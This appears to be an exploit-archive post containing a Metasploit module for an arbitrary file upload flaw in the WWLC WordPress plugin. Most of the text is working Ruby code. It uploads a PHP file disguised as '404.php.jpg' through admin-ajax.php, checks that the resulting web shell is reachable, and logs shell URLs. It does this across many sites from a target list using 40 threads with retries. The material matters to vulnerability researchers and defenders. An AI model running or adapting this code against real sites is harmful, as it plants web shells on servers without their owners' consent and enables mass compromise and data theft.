============================================================================================================================================= | # Title : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Vulnerability Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://woocommerce.com/ | ============================================================================================================================================= [+] Summary : This Metasploit auxiliary module scans WordPress websites for an arbitrary file upload vulnerability in the WWLC plugin. The module attempts to upload a crafted PHP file through the vulnerable AJAX endpoint (admin-ajax.php) using the wwlc_file_upload_handler action. If the upload is successful, the module verifies the uploaded file by sending a request to the generated file path in the WordPress uploads directory. The scanner supports multi-threaded scanning, retry mechanisms, and the ability to load target websites from a file for large-scale assessments. Successful findings are logged locally and reported to the Metasploit database for further analysis. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'WWLC File Upload Vulnerability Scanner', 'Description' => %q{ This module scans for WordPress WWLC plugin arbitrary file upload vulnerability. It attempts to upload a PHP file and verify successful upload. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://example.com/wwlc-vulnerability' ] ], 'DisclosureDate' => '2026-03-13' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptPath.new('PAYLOAD_FILE', [true, 'PHP file to upload', '/path/to/404_protected.php']), OptInt.new('THREADS', [true, 'Number of threads', 40]), OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10]), OptInt.new('RETRIES', [true, 'Number of retries', 6]), OptString.new('SITES_FILE', [false, 'File containing list of sites', 'kll.txt']) ] ) register_advanced_options( [ OptString.new('ALLOWED_FILE_TYPES', [true, 'Allowed file types', 'php,png,jpg']), OptInt.new('MAX_FILE_SIZE', [true, 'Max allowed file size', 5000000]) ] ) end def setup @vuln_file = 'vuln.txt' @bpvuln_file = 'exploited.txt' [@bpvuln_file, @vuln_file].each do |f| File.delete(f) if File.exist?(f) end if datastore['SITES_FILE'] && File.exist?(datastore['SITES_FILE']) @sites_from_file = File.read(datastore['SITES_FILE']).split("\n").map(&:strip).reject(&:empty?) else @sites_from_file = [] end end def run_host(ip) site = full_uri check_vulnerability(site) end def run if !@sites_from_file.empty? print_status("Loaded #{@sites_from_file.size} sites from file") scan_from_file else print_status("Starting scan...") super end end def scan_from_file threads = [] queue = Queue.new @sites_from_file.each { |site| queue << site } thread_count = [datastore['THREADS'], queue.size].min thread_count = 1 if thread_count < 1 thread_count.times do threads << framework.threads.spawn("Module(#{refname})", false) do until queue.empty? site = queue.pop rescue nil check_vulnerability(site) if site end end end threads.each(&:join) end def normalize_site(site) site = site.strip unless site.start_with?('http://', 'https://') site = "http://#{site}" end site.chomp('/') end def check_vulnerability(site) site = normalize_site(site) print_status("Testing: #{site}") retries = 0 while retries < datastore['RETRIES'] begin parsed = URI.parse(site) base = "#{parsed.scheme}://#{parsed.host}" base += ":#{parsed.port}" unless [80,443].include?(parsed.port) base_path = parsed.path.empty? ? '/' : parsed.path ajax_url = normalize_uri(base_path, 'wp-admin', 'admin-ajax.php') uploads_dir = normalize_uri(base_path, 'wp-content', 'uploads') unless File.exist?(datastore['PAYLOAD_FILE']) print_error("Payload file not found: #{datastore['PAYLOAD_FILE']}") return end file_data = File.read(datastore['PAYLOAD_FILE']) file_settings = { 'allowed_file_types' => datastore['ALLOWED_FILE_TYPES'].split(','), 'max_allowed_file_size' => datastore['MAX_FILE_SIZE'] } multipart_form = Rex::MIME::Message.new multipart_form.add_part('wwlc_file_upload_handler', nil, nil, 'form-data; name="action"') multipart_form.add_part(JSON.generate(file_settings), 'application/json', nil, 'form-data; name="file_settings"') multipart_form.add_part(file_data, 'image/jpeg', nil, 'form-data; name="uploaded_file"; filename="404.php.jpg"') res = send_request_cgi({ 'method' => 'POST', 'uri' => ajax_url, 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s, 'headers' => { 'Accept' => 'application/json, text/javascript, */*; q=0.01' } }, datastore['TIMEOUT']) if res && res.code == 200 begin data = JSON.parse(res.body) if data['status'] == 'success' && data['file_name'] filename = data['file_name'] shell_path = normalize_uri(uploads_dir, filename) verify_res = send_request_cgi({ 'method' => 'GET', 'uri' => shell_path }, datastore['TIMEOUT']) if verify_res && verify_res.code == 200 shell_url = "#{base}#{shell_path}" print_good("#{site} -> #{shell_url}") File.open(@bpvuln_file, 'a') { |f| f.puts(shell_url) } File.open(@vuln_file, 'a') { |f| f.puts("#{base}#{uploads_dir}") } report_vuln( host: parsed.host, port: parsed.port, name: name, refs: references, info: "Uploaded shell: #{shell_url}" ) return end end rescue JSON::ParserError end end print_status("Failed: #{site}") break rescue ::Rex::ConnectionError, ::Rex::TimeoutError retries += 1 if retries < datastore['RETRIES'] print_status("Retry #{retries}/#{datastore['RETRIES']} for #{site}") sleep(1) else print_error("Failed after retries: #{site}") end rescue => e print_error("Error: #{site} - #{e.message}") break end end end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================